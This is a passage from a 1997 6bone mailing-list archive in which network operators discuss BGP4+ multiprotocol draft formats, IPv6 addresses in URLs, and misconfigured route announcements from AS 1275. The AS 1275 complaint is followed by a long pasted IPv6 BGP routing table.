>   +--------------------------------+
>   | SAFI (1 octet)                 |
>   +--------------------------------+
>   | Length of NextHop (1 octet)    |
>   +--------------------------------+
>   | Address of NextHop (variable)  |
>   +--------------------------------+
>   | Number of SNPAs (1 octet = 0)  |
>   +--------------------------------+
>   | NLRI Length (2 octets)         |
>   +--------------------------------+
>   | NLRI (variable)                |
>   +--------------------------------+
>   
> 3. draft-ietf-idr-bgp4-multiprotocol-01
>    o zebra
>   ... rid of NLRI length
>   +--------------------------------+
>   | AFI (2 octets)                 |
>   +--------------------------------+
>   | SAFI (1 octet)                 |
>   +--------------------------------+
>   | Length of NextHop (1 octet)    |
>   +--------------------------------+
>   | Address of NextHop (variable)  |
>   +--------------------------------+
>   | Number of SNPAs (1 octet = 0)  |
>   +--------------------------------+
>   | NLRI (variable)                |
>   +--------------------------------+
> 
> IMHO, the best thing is moving toward to draft-ietf-idr-bgp4-multiprotocol-01
> specification.
> --
> Kunihiro Ishiguro


From majordom@ISI.EDU  Fri Oct 17 08:59:36 1997
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Date: Fri, 17 Oct 1997 12:59:36 -0400 (EDT)
From: Kevin Nicholson <kcn@digex.net>
To: 6bone@ISI.EDU
Subject: Cisco router configuration examples
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	I have searched the 6bone mailing list archives looking for
examples of IPv6 tunneling, and dynamic/static routing, and IPv4<>IPv6 NAT
.. with no luck. 

Could someone please post a few cisco config examples, along with images
and hardware recommendations ? 

Kevin Nicholson          Principal Engineer - Access
Postal: One DIGEX Plaza, Beltsville MD USA 20705


From majordom@ISI.EDU  Fri Oct 17 04:19:58 1997
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Date: Fri, 17 Oct 1997 11:19:58 -0700 (PDT)
Message-Id: <199710171819.LAA01533@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Masaki Hirabaru <masaki@merit.edu>
Cc: 6bone@ISI.EDU
Subject: Re: which BGP4+ used 
In-Reply-To: <199710171355.JAA11833@merit.edu>
References: <199710170621.PAA18946@rs.digital-magic.co.jp>
	<199710171355.JAA11833@merit.edu>
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>>>>> "Masaki" == Masaki Hirabaru <masaki@merit.edu> writes:

    Masaki> Kunihiro and Pedro, Thanks for letting me know. I haven't
    Masaki> seen the -00 version, so I got confused. I'm still writing
    Masaki> this by analyzing a BGP4+ packet I'm receiving rather than
    Masaki> looking at the -00 version. So, the following differences
    Masaki> may not cover all.

    Masaki> 1) There is a length field, NLRI Length (2 octets) in
    Masaki> Kunihiro's explanation, which doesn't exist in the -01
    Masaki> version.

Yes. Those fields where removed in the -01 version.

    Masaki> 2) The Length of Next Hop Network Address (1 octet) in
    Masaki> MP_REACH_NLRI (Type Code 14) has a value 32; A
    Masaki> global-scope address (16 octets) and a link-local address
    Masaki> (16 octets) follow.

This is not a question of what the bgp-multiprotocol draft defines but
what a separate document, on IPv6 information over BGP will define.

This document will be based on the section on IPv6 in
draft-bates-bgp4-multiprotocol. If you look at that section you see when
the nexthop should consist of one or two ipv6 addresses.

The ipv6-bgp draft should be availiable soon.

    Masaki> Does 6bone has a plan to migrate to the -01 version?

You might not be able to make a "plan" as it depends on the availability
of code from vendors...

  Pedro.


From majordom@ISI.EDU  Fri Oct 17 11:01:19 1997
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To: Pedro Marques <roque@cisco.com>
Cc: 6bone@ISI.EDU
Subject: Re: which BGP4+ used 
In-Reply-To: Your message of "Fri, 17 Oct 1997 11:19:58 PDT."
             <199710171819.LAA01533@pedrom-ultra.cisco.com> 
Date: Fri, 17 Oct 1997 15:01:19 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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>     Masaki> 2) The Length of Next Hop Network Address (1 octet) in
>     Masaki> MP_REACH_NLRI (Type Code 14) has a value 32; A
>     Masaki> global-scope address (16 octets) and a link-local address
>     Masaki> (16 octets) follow.
> 
> This is not a question of what the bgp-multiprotocol draft defines but
> what a separate document, on IPv6 information over BGP will define.
> 
> This document will be based on the section on IPv6 in
> draft-bates-bgp4-multiprotocol. If you look at that section you see when
> the nexthop should consist of one or two ipv6 addresses.
> 
> The ipv6-bgp draft should be availiable soon.

Pedro, I saw the -00 version. I understand this is a current
ambiguous point independently of the versions. I'm waiting for
the ipv6-bgp draft.

>     Masaki> Does 6bone has a plan to migrate to the -01 version?
> 
> You might not be able to make a "plan" as it depends on the availability
> of code from vendors...

We could push vendor(s) :-) I know the difference is trivial for
users, but it might bring an operational confusion. We will need
to ask our peers which bgp4+ is used, bgp4+00 or bgp4+01.

Thanks,
Masaki


From majordom@ISI.EDU  Sat Oct 18 07:37:26 1997
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To: brian@hursley.ibm.com
Cc: 6bone@ISI.EDU
Subject: Re: Literal addresses in URLs - 'splain to me 
In-Reply-To: Your message of "Fri, 17 Oct 1997 10:30:14 BST."
             <9710170930.AA125978@hursley.ibm.com> 
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>However the fact is that when there is a catastrophic operational
>problem with DNS, there can be cases where the *only* way to
>repair the network is by using literal addresses, either to
>send mail to another site, or to access remote systems -
>and URLs are one of the ways we access remote systems these days.
>So while I stick to the deprecation of literal addresses that is
>in RFC 1900, I regretfully feel that we need them as emergency backup.

A valid point.  But I don't see repairing DNS using URLs.  No one is
saying you can't use IPv6 addresses in this input.  Just we don't need
them for URLs.  They work fine now with FTP, Telnet, etc..

/jim

From majordom@ISI.EDU  Wed Oct 18 19:49:56 1997
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Date: Sun, 19 Oct 1997 02:49:56 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: 6bone@ISI.EDU
Cc: ipv6@ibr.cs.tu-bs.de, cossmann@heidelbg.ibm.com, weise@deteberkom.de,
        eichhorn@wislan1.med.uni-goettingen.de, uklan@rrz.Uni-Koeln.DE,
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Subject: as1275
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I've configured our router to reject all the BGP routes sourced by AS 1275
as they are injecting in tons of doubtable information, including a default
route.

Internic says that as1275 is registered as:

c/o University of Dortmund (ASN-UNIDO)
   GERMANY

   Autonomous System Name: UNIDO-AS
   Autonomous System Block: 1270 - 1275

But there is absolutly no reference to the university of dortmund in the
6bone registry (which is one of the reasons this mail is not being sent
privatly). Intead i find about ten sites (CCed in the message) all which claim
to be in AS 1275. What i don't really understand is why, if all the sites
share the same AS, aren't they all under the same prefix which can be cleanly
annouced. And if there is a good reason why this can't be done then perhaps
they shoulnd't be in the same AS...

Can you folks please try to sort out this mess ...

Please don't inject prefixes which you don't own or for which the owners
have not explicitly asked you to originate them (there are plenty of prefixes
bellow that belong to US sites). And *please* don't inject a default route
into BGP.

Thanks,
  Pedro.

--------------------------------------------------------------------------
6bone-router>sh ipv6 bgp reg 1275$
BGP IPv6 table version is 745545, local router id is 192.31.7.217
Status codes: * - valid, > - best, i - internal
Origin codes: i - IGP, e - EGP, ? - incomplete

  3FFE::0/24
	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:200::0/24
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
  3FFE:400::0/24
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:600:8000::4/126
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  3FFE:700:20:1::14/126
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  3FFE:7C0:40::0/48
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:800::0/32
	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
  3FFE:A00::0/24
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  3FFE:F00::0/24
	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1001:1:FFFF::0/126
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  3FFE:1100:0:400::2C/126
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
  3FFE:1100:0:C00::4/126
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
  3FFE:1100:0:C0C::0/64
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
  3FFE:1100:0:1420::0/64
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
  3FFE:1108:800::0/40
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
  3FFE:1300::0/24
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1500::FFFE:0:0:14/126
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
  3FFE:1500::FFFE:0:0:1C/126
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
  3FFE:1500::FFFE:0:1EA1:0/126
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1C00:0:60::0/64
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  3FFE:1C00::0/24
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  3FFE:1D04::0/124
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1D04:1::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1DEC::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  3FFE:1E00::0/24
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  3FFE:2500::0/25
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F00:100:807F::0/48
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F00:C00:807A:4000::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F00:1000:0:F:F::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F00:6D00:0:E:8::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F00:80DF:0:E:9::0/112
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F00:E000:C19C:1300::0/64
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
  5F00:ED00::0/40
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F00:ED00:C66C:3C00::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F01:F00:8E67:A00::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F02:2000:C1D1:ED00::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F02:2F00::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F02:3000:84B1:7900:1::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F02:3000:84B1::0/48
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F02:3000:C020:AE00:201D::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F02:3000:C020:AE00:B180::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F02:AD00::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F02:BD00:D0D0:D800::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F04:4F00::BBBB:1103:3274:0/112
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F04:4F00::BBBB:1103:3582:0/112
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F04:C900:8367:2::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F04:F900::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F04:FB00::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F06:2800:967E:F300::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F06:8900::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F06:8900:0:1:3::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F06:D500::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F06:D800::0/32
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
  5F06:F900:8DFE:100::0/64
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
  5F07:2B00::0/32
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
  5F09:F300:9842:4C00::0/80
	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
